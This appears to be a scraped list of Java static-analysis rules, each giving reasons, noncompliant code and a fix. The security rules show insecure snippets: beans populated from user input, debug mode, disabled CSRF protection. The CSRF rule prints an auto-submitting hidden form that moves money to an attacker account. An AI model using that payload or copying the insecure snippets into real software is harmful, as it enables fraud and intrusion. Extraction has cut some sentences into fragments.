There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesSanitize all values used as JavaBean properties. Don't set any sensitive properties. Keep full control over which properties are set. If the property names are provided by an unstrusted source, filter them with a whitelist. Sensitive Code ExampleCompany bean = new Company(); HashMap map = new HashMap(); Enumeration names = request.getParameterNames(); while (names.hasMoreElements()) { String name = (String) names.nextElement(); map.put(name, request.getParameterValues(name)); } BeanUtils.populate(bean, map); // Sensitive: "map" is populated with data coming from user input, here "request.getParameterNames()" See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5843 |
Overly complicated regular expressions are hard to read and to maintain and can easily cause hard-to-find bugs. If a regex is too complicated, you should consider replacing it or parts of it with regular code or splitting it apart into multiple patterns at least. The complexity of a regular expression is determined as follows: Each of the following operators increases the complexity by an amount equal to the current nesting level and also increases the current nesting level by one for its arguments:
Additionally, each use of the following features increase the complexity by 1 regardless of nesting:
If a regular expression is split among multiple variables, the complexity is calculated for each variable individually, not for the whole regular expression. If a regular expression is split over multiple lines, each line is treated individually if it is accompanied by a comment (either a Java comment or a comment within the regular expression), otherwise the regular expression is analyzed as a whole. Noncompliant Code Exampleif (dateString.matches("^(?:(?:31(\\/|-|\\.)(?:0?[13578]|1[02]))\\1|(?:(?:29|30)(\\/|-|\\.)(?:0?[13-9]|1[0-2])\\2))(?:(?:1[6-9]|[2-9]\\d)?\\d{2})$|^(?:29(\\/|-|\\.)0?2\\3(?:(?:(?:1[6-9]|[2-9]\\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00))))$|^(?:0?[1-9]|1\\d|2[0-8])(\\/|-|\\.)(?:(?:0?[1-9])|(?:1[0-2]))\\4(?:(?:1[6-9]|[2-9]\\d)?\\d{2})$")) { handleDate(dateString); } Compliant Solutionif (dateString.matches("^\\d{1,2}([-/.])\\d{1,2}\\1\\d{1,4}$")) { String dateParts[] = dateString.split("[-/.]"); int day = Integer.parseInt(dateParts[0]); int month = Integer.parseInt(dateParts[1]); int year = Integer.parseInt(dateParts[2]); // Put logic to validate and process the date based on its integer parts here } ExceptionsRegular expressions are only analyzed if all parts of the regular expression are either string literals, effectively final local variables or `static final` fields, all of which can be combined using the `+` operator. When a regular expression is split among multiple variables or commented lines, each part is only analyzed if it is syntactically valid by itself. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1126 |
Return of boolean literal statements wrapped into Similarly, method invocations wrapped into Noncompliant Code Exampleboolean foo(Object param) { if (expression) { // Noncompliant bar(param, true, "qix"); } else { bar(param, false, "qix"); } if (expression) { // Noncompliant return true; } else { return false; } } Compliant Solutionboolean foo(Object param) { bar(param, expression, "qix"); return expression; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2698 |
Adding messages to JUnit, FEST and AssertJ assertions is an investment in your future productivity. Spend a few seconds writing them now, and you'll save a lot of time on the other end when either the tests fail and you need to quickly diagnose the problem, or when you need to maintain the tests and the assertion messages work as a sort of documentation. Noncompliant Code ExampleassertEquals(4, list.size()); // Noncompliant try { fail(); // Noncompliant } catch (Exception e) { assertThat(list.get(0)).isEqualTo("pear"); // Noncompliant } Compliant SolutionassertEquals("There should have been 4 Fruits in the list", 4, list.size()); try { fail("And exception is expected here"); } catch (Exception e) { assertThat(list.get(0)).as("check first element").overridingErrorMessage("The first element should be a pear, not a %s", list.get(0)).isEqualTo("pear"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1116 |
Empty statements, i.e.
Noncompliant Code Examplevoid doSomething() { ; // Noncompliant - was used as a kind of TODO marker } void doSomethingElse() { System.out.println("Hello, world!");; // Noncompliant - double ; ... } Compliant Solutionvoid doSomething() {} void doSomethingElse() { System.out.println("Hello, world!"); ... for (int i = 0; i < 3; i++) ; // compliant if unique statement of a loop ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3416 |
It is convention to name each class's logger for the class itself. Doing so allows you to set up clear, communicative logger configuration. Naming loggers by some other convention confuses configuration, and using the same class name for multiple class loggers prevents the granular configuration of each class' logger. Some libraries, such as SLF4J warn about this, but not all do. This rule raises an issue when a logger is not named for its enclosing class. Noncompliant Code Examplepublic class MyClass { private final static Logger LOG = LoggerFactory.getLogger(WrongClass.class); // Noncompliant; multiple classes using same logger } Compliant Solutionpublic class MyClass { private final static Logger LOG = LoggerFactory.getLogger(MyClass.class); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1479 |
When ExceptionsThis rule ignores |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3658 |
When the code under test in a unit test throws an exception, the test itself fails. Therefore, there is no need to surround the tested code with a
This rule raises an issue when there is a fail assertion inside a Supported frameworks:
Noncompliant Code Example@Test public void testMethod() { try { // Some code } catch (MyException e) { Assert.fail(e.getMessage()); // Noncompliant } } Compliant Solution@Test public void testMethod() throws MyException { // Some code } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5958 |
Unlike similar AssertJ methods testing exceptions ( Still, only testing that an exception was raised is not enough to guarantee that it was the expected one, and you should test the exception type or content further. In addition, it will make explicit what you are expecting, without relying on side-effects. This rule raises an exception when Noncompliant Code ExampleassertThatThrownBy(() -> shouldThrow()); // Noncompliant, is it really the exception you expected? Compliant SolutionassertThatThrownBy(() -> shouldThrow()).isInstanceOf(IOException.class); //or assertThatThrownBy(() -> shouldThrow()).hasMessage("My exception"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2447 |
While Noncompliant Code Examplepublic Boolean isUsable() { // ... return null; // Noncompliant } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4507 |
Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities: An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesDo not enable debug features on production servers. Sensitive Code Example
try { /* ... */ } catch(Exception e) { e.printStackTrace(); // Sensitive } EnableWebSecurity
annotation for SpringFramework with import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; @Configuration @EnableWebSecurity(debug = true) // Sensitive public class WebSecurityConfig extends WebSecurityConfigurerAdapter { // ... } Compliant SolutionLoggers should be used (instead of try { /* ... */ } catch(Exception e) { LOGGER.log("context", e); // Compliant } EnableWebSecurity
annotation for SpringFramework with import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; @Configuration @EnableWebSecurity(debug = false) // Compliant public class WebSecurityConfig extends WebSecurityConfigurerAdapter { // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1117 |
Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another. Noncompliant Code Exampleclass Foo { public int myField; public void doSomething() { int myField = 0; ... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2689 |
When you're trying to read your object(s) back from the file, only the first one will be read successfully, and a
Noncompliant Code ExampleFileOutputStream fos = new FileOutputStream (fileName , true); // fos opened in append mode ObjectOutputStream out = new ObjectOutputStream(fos); // Noncompliant Compliant SolutionFileOutputStream fos = new FileOutputStream (fileName); ObjectOutputStream out = new ObjectOutputStream(fos); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2326 |
Type parameters that aren't used are dead code, which can only distract and possibly confuse developers during maintenance. Therefore, unused type parameters should be removed. Noncompliant Code Exampleint <T> Add(int a, int b) // Noncompliant; <T> is ignored { return a + b; } Compliant Solutionint Add(int a, int b) { return a + b; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3415 |
The standard assertions library methods such as This rule raises an issue when the actual argument to an assertions library method is a hard-coded value and the expected argument is not. Supported frameworks:
Noncompliant Code Exampleorg.junit.Assert.assertEquals(runner.exitCode(), 0, "Unexpected exit code"); // Noncompliant; Yields error message like: Expected:<-1>. Actual:<0>. org.assertj.core.api.Assertions.assertThat(0).isEqualTo(runner.exitCode()); // Noncompliant Compliant Solutionorg.junit.Assert.assertEquals(0, runner.exitCode(), "Unexpected exit code"); org.assertj.core.api.Assertions.assertThat(runner.exitCode()).isEqualTo(0); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5838 |
AssertJ contains many assertions methods specific to common types. Both versions will test the same things, but the dedicated one will provide a better error message, simplifying the debugging process. This rule reports an issue when an assertion can be simplified to a dedicated one. The array below gives a non-exhaustive list of assertion reported by the rule. Code behaving similarly, or with a negation will also be reported.
Noncompliant Code ExampleassertThat(getObject()).isEqualTo(null); // Noncompliant assertThat(getObject()).isNotEqualTo(null); // Noncompliant - not listed above but also supported assertThat(getString().trim()).isEmpty(); assertThat(getFile().canRead()).isTrue(); assertThat(getPath().getParent()).isNull(); Compliant SolutionassertThat(getObject()).isNull(); assertThat(getString()).isBlank(); assertThat(getFile()).canRead(); assertThat(getPath()).hasNoParentRaw(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1118 |
Utility classes, which are collections of Java adds an implicit public constructor to every class which does not define at least one explicitly. Hence, at least one non-public constructor should be defined. Noncompliant Code Exampleclass StringUtils { // Noncompliant public static String concatenate(String s1, String s2) { return s1 + s2; } } Compliant Solutionclass StringUtils { // Compliant private StringUtils() { throw new IllegalStateException("Utility class"); } public static String concatenate(String s1, String s2) { return s1 + s2; } } ExceptionsWhen class contains |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2208 |
Blindly importing all the classes in a package clutters the class namespace and could lead to conflicts between classes in different packages with the same name. On the other hand, specifically listing the necessary classes avoids that problem and makes clear which versions were wanted. Noncompliant Code Exampleimport java.sql.*; // Noncompliant import java.util.*; // Noncompliant private Date date; // Date class exists in java.sql and java.util. Which one is this? Compliant Solutionimport java.sql.Date; import java.util.List; import java.util.ArrayList; private Date date; ExceptionsStatic imports are ignored by this rule. E.G. import static java.lang.Math.*; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1119 |
Labels are not commonly used in Java, and many developers do not understand how they work. Moreover, their usage makes the control flow harder to follow, which reduces the code's readability. Noncompliant Code Exampleint matrix[][] = { {1, 2, 3}, {4, 5, 6}, {7, 8, 9} }; outer: for (int row = 0; row < matrix.length; row++) { // Non-Compliant for (int col = 0; col < matrix[row].length; col++) { if (col == row) { continue outer; } System.out.println(matrix[row][col]); // Prints the elements under the diagonal, i.e. 4, 7 and 8 } } Compliant Solutionfor (int row = 1; row < matrix.length; row++) { // Compliant for (int col = 0; col < row; col++) { System.out.println(matrix[row][col]); // Also prints 4, 7 and 8 } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3417 |
Whether they are disallowed locally for security, license, or dependability reasons, forbidden dependencies should not be used. This rule raises an issue when the group or artifact id of a direct dependency matches the configured forbidden dependency pattern. Noncompliant Code ExampleWith a parameter of: <dependency> <!-- Noncompliant --> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2209 |
While it is possible to access Noncompliant Code Examplepublic class A { public static int counter = 0; } public class B { private A first = new A(); private A second = new A(); public void runUpTheCount() { first.counter ++; // Noncompliant second.counter ++; // Noncompliant. A.counter is now 2, which is perhaps contrary to expectations } } Compliant Solutionpublic class A { public static int counter = 0; } public class B { private A first = new A(); private A second = new A(); public void runUpTheCount() { A.counter ++; // Compliant A.counter ++; // Compliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3419 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when the a pom's Noncompliant Code ExampleWith the default regular expression: <project ...> <groupId>myCo</groupId> <!-- Noncompliant --> <!-- ... --> </project> Compliant Solution<project ...> <groupId>com.myco</groupId> <!-- ... --> </project> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4508 |
Deserializing objects is security-sensitive. For example, it has led in the past to the following vulnerabilities:
Object deserialization from an untrusted source can lead to unexpected code execution. Deserialization takes a stream of bits and turns it into an object. If the stream contains the type of object you expect, all is well. But if
you're deserializing untrusted input, and an attacker has inserted some other type of object, you're in trouble. Why? There are a few different attack
scenarios, but one widely-documented one goes like this: Deserialization first instantiates an Ask Yourself Whether
You are at risk if you answered yes to any of those questions.
Recommended Secure Coding PracticesTo prevent insecure deserialization, you should either use look-ahead deserialization (pre-Java 9) or a filter to make sure you're dealing with the correct type of object before you act on it. Several third-party libraries offer look-ahead deserialization, including:
Note that it is possible to set a deserialization filter at the level of the JVM, but relying on that requires that your environment be configured perfectly. Every time. Additionally, such a filter may have unwanted impacts on other applications in the environment. On the other hand, setting a filter as close as possible to the deserialization that uses it allows you to specify a very narrow, focused filter. You should also limit access to the serialized source. For example:
See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:NoSonar |
Any issue to quality rule can be deactivated with the This rule raises an issue when |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2440 |
Noncompliant Code Examplepublic class TextUtils { public static String stripHtml(String source) { return source.replaceAll("<[^>]+>", ""); } } public class TextManipulator { // ... public void cleanText(String source) { TextUtils textUtils = new TextUtils(); // Noncompliant String stripped = textUtils.stripHtml(source); //... } } Compliant Solutionpublic class TextUtils { public static String stripHtml(String source) { return source.replaceAll("<[^>]+>", ""); } } public class TextManipulator { // ... public void cleanText(String source) { String stripped = TextUtils.stripHtml(source); //... } } See Also
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2681 |
Curly braces can be omitted from a one-line block, such as with an This rule raises an issue when the whitespacing of the lines after a one line block indicates an intent to include those lines in the block, but the omission of curly braces means the lines will be unconditionally executed once. Noncompliant Code Exampleif (condition) firstActionInBlock(); secondAction(); // Noncompliant; executed unconditionally thirdAction(); if (condition) firstActionInBlock(); secondAction(); // Noncompliant; secondAction executed unconditionally if (condition) firstActionInBlock(); // Noncompliant secondAction(); // Executed unconditionally if (condition); secondAction(); // Noncompliant; secondAction executed unconditionally String str = null; for (int i = 0; i < array.length; i++) str = array[i]; doTheThing(str); // Noncompliant; executed only on last array element Compliant Solutionif (condition) { firstActionInBlock(); secondAction(); } thirdAction(); String str = null; for (int i = 0; i < array.length; i++) { str = array[i]; doTheThing(str); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2200 |
While most Noncompliant Code Exampleif (myClass.compareTo(arg) == -1) { // Noncompliant // ... } Compliant Solutionif (myClass.compareTo(arg) < 0) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2442 |
Noncompliant Code ExampleLock lock = new MyLockImpl(); synchronized(lock) { // Noncompliant //... } Compliant SolutionLock lock = new MyLockImpl(); lock.tryLock(); //... See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1110 |
The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed. Noncompliant Code Exampleint x = (y / 2 + 1); //Compliant even if the parenthesis are ignored by the compiler if (a && ((x+y > 0))) { // Noncompliant //... } return ((x + 1)); // Noncompliant Compliant Solutionint x = (y / 2 + 1); if (a && (x+y > 0)) { //... } return (x + 1); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1111 |
According to the official javadoc documentation, this Object.finalize() is called by the garbage collector on an object when garbage collection determines that there are no more references to the object. Calling this method explicitly breaks this contract and so is misleading. Noncompliant Code Examplepublic void dispose() throws Throwable { this.finalize(); // Noncompliant } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2441 |
If you have no intention of writting an The point is, that even though Noncompliant Code Examplepublic class Address { //... } //... HttpSession session = request.getSession(); session.setAttribute("address", new Address()); // Noncompliant; Address isn't serializable See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1596 |
Since the introduction of generics in Java 5, the use of generic types such as Noncompliant Code ExampleList<String> collection1 = Collections.EMPTY_LIST; // Noncompliant Map<String, String> collection2 = Collections.EMPTY_MAP; // Noncompliant Set<String> collection3 = Collections.EMPTY_SET; // Noncompliant Compliant SolutionList<String> collection1 = Collections.emptyList(); Map<String, String> collection2 = Collections.emptyMap(); Set<String> collection3 = Collections.emptySet(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4502 |
CSRF vulnerabilities occur when attackers can trick a user to perform sensitive authenticated operations on a web application without his consent. <body onload="document.forms[0].submit()"> <form> <form action="http://mybank.com/account/transfer_money" method="POST"> <input type="hidden" name="accountNo" value="attacker_account_123456"/> <input type="hidden" name="amount" value="10000"/> <input type="submit" value="Steal money"/> </form> If an user visits the attacker's website which contains the above malicious code, his bank account will be debited without his consent and notice. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleSpring Security provides by default a protection against CSRF attacks. @EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.csrf().disable(); // Sensitive } } Compliant SolutionWith Spring Security CSRF protection is enabled by default, do not disable it. @EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { // http.csrf().disable(); // Compliant } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2444 |
In a multi-threaded situation, un- Similarly, updates of such fields should also be This rule raises an issue whenever a lazy static initialization is done on a class with at least one Noncompliant Code Exampleprivate static Properties fPreferences = null; private static Properties getPreferences() { if (fPreferences == null) { fPreferences = new Properties(); // Noncompliant fPreferences.put("loading", "true"); fPreferences.put("filterstack", "true"); readPreferences(); } return fPreferences; } } Compliant Solutionprivate static Properties fPreferences = null; private static synchronized Properties getPreferences() { if (fPreferences == null) { fPreferences = new Properties(); fPreferences.put("loading", "true"); fPreferences.put("filterstack", "true"); readPreferences(); } return fPreferences; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5833 |
Describing, setting error message or adding a comparator in AssertJ must be done before calling the assertion, otherwise, settings will not be taken into account. This rule raises an issue when one of the method (with all similar methods):
is called without calling an AssertJ assertion afterward. Noncompliant Code ExampleassertThat(actual).isEqualTo(expected).as("Description"); // Noncompliant assertThat(actual).isEqualTo(expected).withFailMessage("Fail message"); // Noncompliant assertThat(actual).isEqualTo(expected).usingComparator(new CustomComparator()); // Noncompliant Compliant SolutionassertThat(actual).as("Description").isEqualTo(expected); assertThat(actual).withFailMessage("Fail message").isEqualTo(expected); assertThat(actual).usingComparator(new CustomComparator()).isEqualTo(expected); See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2201 |
When the call to a function doesn't have any side effects, what is the point of making the call if the results are ignored? In such case, either the function call is useless and should be dropped or the source code doesn't behave as expected. To prevent generating any false-positives, this rule triggers an issue only on the following predefined list of immutable classes in the Java API :
As well as methods of the following classes:
Noncompliant Code Examplepublic void handle(String command){ command.toLowerCase(); // Noncompliant; result of method thrown away ... } Compliant Solutionpublic void handle(String command){ String formattedCommand = command.toLowerCase(); ... } ExceptionsThis rule will not raise an issue when both these conditions are met:
private boolean textIsInteger(String textToCheck) { try { Integer.parseInt(textToCheck, 10); // OK return true; } catch (NumberFormatException ignored) { return false; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1113 |
The Noncompliant Code Examplepublic class MyClass { ... protected void finalize() { releaseSomeResources(); // Noncompliant } ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2204 |
This applies to all the atomic, seeming-primitive wrapper classes: Noncompliant Code ExampleAtomicInteger aInt1 = new AtomicInteger(0); AtomicInteger aInt2 = new AtomicInteger(0); if (aInt1.equals(aInt2)) { ... } // Noncompliant Compliant SolutionAtomicInteger aInt1 = new AtomicInteger(0); AtomicInteger aInt2 = new AtomicInteger(0); if (aInt1.get() == aInt2.get()) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1598 |
By convention, a Java class' physical location (source directories) and its logical representation (packages) should be kept in sync. Thus a Java
file located at Unfortunately, this convention is not enforced by Java compilers, and nothing prevents a developer from making the "Foo.java" class part of the "com.apple" package, which could degrade the maintainability of both the class and its application. Similarly, source placed in a folder with dots in its name instead of having the equivalent folder structure will compile but cause problems at run
time. For instance, code with a package declaration of |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2446 |
Noncompliant Code Exampleclass MyThread extends Thread{ @Override public void run(){ synchronized(this){ // ... notify(); // Noncompliant } } } Compliant Solutionclass MyThread extends Thread{ @Override public void run(){ synchronized(this){ // ... notifyAll(); } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1114 |
Overriding the Calling the Noncompliant Code Exampleprotected void finalize() { // Noncompliant; no call to super.finalize(); releaseSomeResources(); } protected void finalize() { super.finalize(); // Noncompliant; this call should come last releaseSomeResources(); } Compliant Solutionprotected void finalize() { releaseSomeResources(); super.finalize(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2325 |
Noncompliant Code Exampleclass Utilities { private static String magicWord = "magic"; private String getMagicWord() { // Noncompliant return magicWord; } private void setMagicWord(String value) { // Noncompliant magicWord = value; } } Compliant Solutionclass Utilities { private static String magicWord = "magic"; private static String getMagicWord() { return magicWord; } private static void setMagicWord(String value) { magicWord = value; } } ExceptionsWhen
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3414 |
It is a good practice to isolate test classes in a separate package so that what is shipped to production is neither polluted by nor bloated with them. Further, including unit tests in code assemblies could affect build processes. This rule raises an issue when test classes are found in projects containing non-test-related code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5831 |
A This rule raises an issue when configurations are set without the appropriate call to apply them. Noncompliant Code ExampleConfiguration configuration = new Configuration(); // Noncompliant, this configuration will not be applied. configuration.setComparingPrivateFields(true);{code} Compliant SolutionConfiguration configuration = new Configuration(); configuration.setComparingPrivateFields(true); configuration.applyAndDisplay(); // Alternatively: configuration.apply(); See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3776 |
Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2203 |
While you can use either Noncompliant Code ExampleList<String> bookNames = new ArrayList<>(); books.stream().filter(book -> book.getIsbn().startsWith("0")) .map(Book::getTitle) .forEach(bookNames::add); // Noncompliant Compliant SolutionList<String> bookNames = books.stream().filter(book -> book.getIsbn().startsWith("0")) .map(Book::getTitle) .collect(Collectors.toList()); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3655 |
Alternatively, note that other methods such as Noncompliant Code ExampleOptional<String> value = this.getOptionalValue(); // ... String stringValue = value.get(); // Noncompliant Compliant SolutionOptional<String> value = this.getOptionalValue(); // ... if (value.isPresent()) { String stringValue = value.get(); } or Optional<String> value = this.getOptionalValue(); // ... String stringValue = value.orElse("default"); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2445 |
Synchronizing on a class field synchronizes not on the field itself, but on the object assigned to it. So synchronizing on a non- The story is very similar for synchronizing on parameters; two different threads running the method in parallel could pass two different object instances in to the method as parameters, completely undermining the synchronization. Noncompliant Code Exampleprivate String color = "red"; private void doSomething(){ synchronized(color) { // Noncompliant; lock is actually on object instance "red" referred to by the color variable //... color = "green"; // other threads now allowed into this block // ... } synchronized(new Object()) { // Noncompliant this is a no-op. // ... } } Compliant Solutionprivate String color = "red"; private final Object lockObj = new Object(); private void doSomething(){ synchronized(lockObj) { //... color = "green"; // ... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2118 |
Nothing in a non-serializable class will be written out to file, and attempting to serialize such a class will result in an exception being thrown.
Only a class that Noncompliant Code Examplepublic class Vegetable { // neither implements Serializable nor extends a class that does //... } public class Menu { public void meal() throws IOException { Vegetable veg; //... FileOutputStream fout = new FileOutputStream(veg.getName()); ObjectOutputStream oos = new ObjectOutputStream(fout); oos.writeObject(veg); // Noncompliant. Nothing will be written } } Compliant Solutionpublic class Vegetable implements Serializable { // can now be serialized //... } public class Menu { public void meal() throws IOException { Vegetable veg; //... FileOutputStream fout = new FileOutputStream(veg.getName()); ObjectOutputStream oos = new ObjectOutputStream(fout); oos.writeObject(veg); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1149 |
Early classes of the Java API, such as It is better to use their new unsynchronized replacements:
Even when used in synchronized context, you should think twice before using it, since it's usage can be tricky. If you are confident the usage is legitimate, you can safely ignore this warning. Noncompliant Code ExampleVector cats = new Vector(); Compliant SolutionArrayList cats = new ArrayList(); ExceptionsUse of those synchronized classes is ignored in the signatures of overriding methods. @Override public Vector getCats() {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5868 |
